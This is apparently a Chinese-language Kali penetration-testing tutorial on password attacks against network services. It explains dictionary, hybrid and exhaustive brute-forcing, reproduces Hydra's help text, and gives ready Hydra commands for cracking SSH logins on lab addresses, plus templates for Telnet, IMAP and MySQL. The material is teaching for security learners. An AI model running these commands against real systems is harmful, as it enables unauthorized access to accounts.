Kali渗透测试:身份认证攻击

简介: Kali渗透测试:身份认证攻击

Kali渗透测试:身份认证攻击
1.1 简单网络服务认证的攻击
网络上很多常见的应用都采用了密码认证的方式,如SSH、Telnet、FTP等。这些应用被广泛应用在各种网络设备上,如果这些认证模式出现问题,就意味着网络中的大量设备将会沦陷。

针对这些常见的网络服务认证,我们可以采用一种“暴力破解”的方法。就是把所有可能的密码都尝试一遍。一般有以下3种思路:

1.1.1 纯字典攻击
这种思路最简单,攻击者只需要利用攻击工具将用户名和字典中的密码组合起来,一个一个尝试即可。破解成功的概率与选用的字典有很大关系。

1.1.2 混合攻击
混合攻击依靠一定的算法对字典中的单词进行处理之后再使用。一个最简单的算法就是在这些单词前面或者后面添加一些常见的数字,如一个单词“test”,经过算法处理之后就会变成“test1”“test2”……“test1981” “test19840123”等。

1.1.3 完全暴力攻击
这是一种最为“粗暴”的攻击方式,实际上这种方式并不需要字典,而是由攻击工具将所有的密码穷举出来。这种攻击方式通常需要很长时间,也是最不可行的一种方式。下图给出了一种使用SSL服务的身份验证界面, IP地址为192.168.68.125的服务器上提供了SSL服务,这个服务的拥有者将密码提供给合法用户,用户通过密码认证之后就可以访问里面的资源了。

image.png

下面讲解针对这种网络身份验证的渗透过程,这里我们使用Hydra作为渗透攻击。Hydra的本意为希腊神话中的九头蛇,是一款非常强大的网络服务密码破解工具。Hydra支持30多种常见的网络服务或者协议的破解,其中包括ARP、Cisco AAA验证、FTP、HTTP、POP3、SNMP、SSH、Telnet等。

在Kali中我们可以在Applications 中选择“05-Password Attacks”–> “Online Attacks”–>“Hydra”来启动这个工具,如下图所示:

image.png

Hydra是一款命令行工具,它的命令格式如下:

└─# hydra
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]

Options:
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to attack, one entry per line, ':' to specify port
  -t TASKS  run TASKS number of connects in parallel per target (default: 16)
  -U        service module usage details
  -m OPT    options specific for a module, see -U output for information
  -h        more command line options (COMPLETE HELP)
  server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)

Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]-{
   head|get|post} http[s]-{
   get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{
   cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs.
Licensed under AGPL v3.0. The newest version is always available at;
https://github.com/vanhauser-thc/thc-hydra
Please don't use in military or secret service organizations, or for illegal
purposes. (This is a wish and non-binding - most such people do not care about
laws and ethics anyway - and tell themselves they are one of the good ones.)

Example:  hydra -l user -P passlist.txt ftp://192.168.0.1

使用Kali自带的一个包含弱口令的字典small.txt,它位于/usr/share/wordlist/dirb目录中。假设事先已经知道用户名为kali,只需要破解密码:

┌──(root💀kali)-[~]
└─#hydra 192.168.68.242 ssh -l kali -P /usr/share/wordlists/dirb/small.txt -t 6 -v -f

其中- P用来指明使用的字典为small.txt,破解时需要用户名为liuxiaowei(假设事先已知),-t指明破解时的线程数,- v显示详细信息,-f表示成功找到一个密码后停止。下图所示给出了Hydra执行攻击的具体过程:

image.png

如果成功破解出了用户名和密码,结果将会以绿色显示(本人的操作背景就是绿色,所以不明显),Hydra得到的结果如下图所示:

image.png

接下来,我们尝试不使用字典,而使用完全暴力破解的方式。假设我们知道密码为4位,而且都为字符,那么我们可以用4:4:1来表示所有的长度为4位的纯字符密码。因为这种破解方式很慢,所以我们将线程设置为6(数值不能过大),破解命令如下:

┌──(root💀kali)-[~]
└─#hydra 192.168.68.125 ssh -l kali -x 4:4:a -t 6 -v -f

Hydra执行完全暴力破解攻击的具体过程如下图所示:
image.png

在攻击的最后,我们得到了可以登录的用户名和密码。但是这个过程十分漫长,因为不使用字典,单纯暴力破解是一件极为困难的事情。其他常见协议的破解方式都大同小异,只有Web页面都区别比较大。下面列出常见的协议破解命令:

#破解Telnet
┌──(root💀kali)-[~]
└─# hydra 目标ip地址 telnet -l 用户名 -P 密码字典 -s 23
# 破解IMAP
┌──(root💀kali)-[~]
└─# hydra - L 用户名字典 -P 密码字典 目标地址 service imap
# 破解MySQL
┌──(root💀kali)-[~]
└─# hydra 目标ip地址 mysql -l root -P 密码文件
相关文章
|
4月前
|
安全 Shell PHP
一篇文章讲明白Kali学习笔记30:身份认证与命令执行漏洞
一篇文章讲明白Kali学习笔记30:身份认证与命令执行漏洞
17 0
|
5月前
|
关系型数据库 MySQL 数据库
云计算|OpenStack|社区版OpenStack安装部署文档(三 --- 身份认证服务keystone安装部署---Rocky版)
云计算|OpenStack|社区版OpenStack安装部署文档(三 --- 身份认证服务keystone安装部署---Rocky版)
147 0
|
存储 运维 网络协议
阿里云SMB协议文件存储服务支持基于AD域的用户身份认证及权限访问控制介绍
在本文中,我们首先简单介绍文件系统的用户认证和访问权限控制的概念,然后介绍阿里云SMB协议文件存储服务支持基于AD域系统的用户身份认证及访问权限控制的设计实现。
4049 0
阿里云SMB协议文件存储服务支持基于AD域的用户身份认证及权限访问控制介绍
|
安全 数据安全/隐私保护
dex:来自CoreOS的开源身份认证服务解决方案
本文讲的是dex:来自CoreOS的开源身份认证服务解决方案,【编者的话】今天CoreOS发布了一个新的开源项目dex,一个基于OpenID Connect的身份服务组件。 CoreOS已经将它用于生产环境:自家的tectonic.com上。
2135 0
|
安全 Ruby
Github Enterprise版本SAML服务两个身份认证漏洞
本文讲的是Github Enterprise版本SAML服务两个身份认证漏洞,在Github Enterprise版本的SAML服务中发现完全身份验证绕过的两个漏洞。作者将这些漏洞通过hackone的漏洞悬赏报告给Github并且已经修复。
2027 0
|
安全 数据安全/隐私保护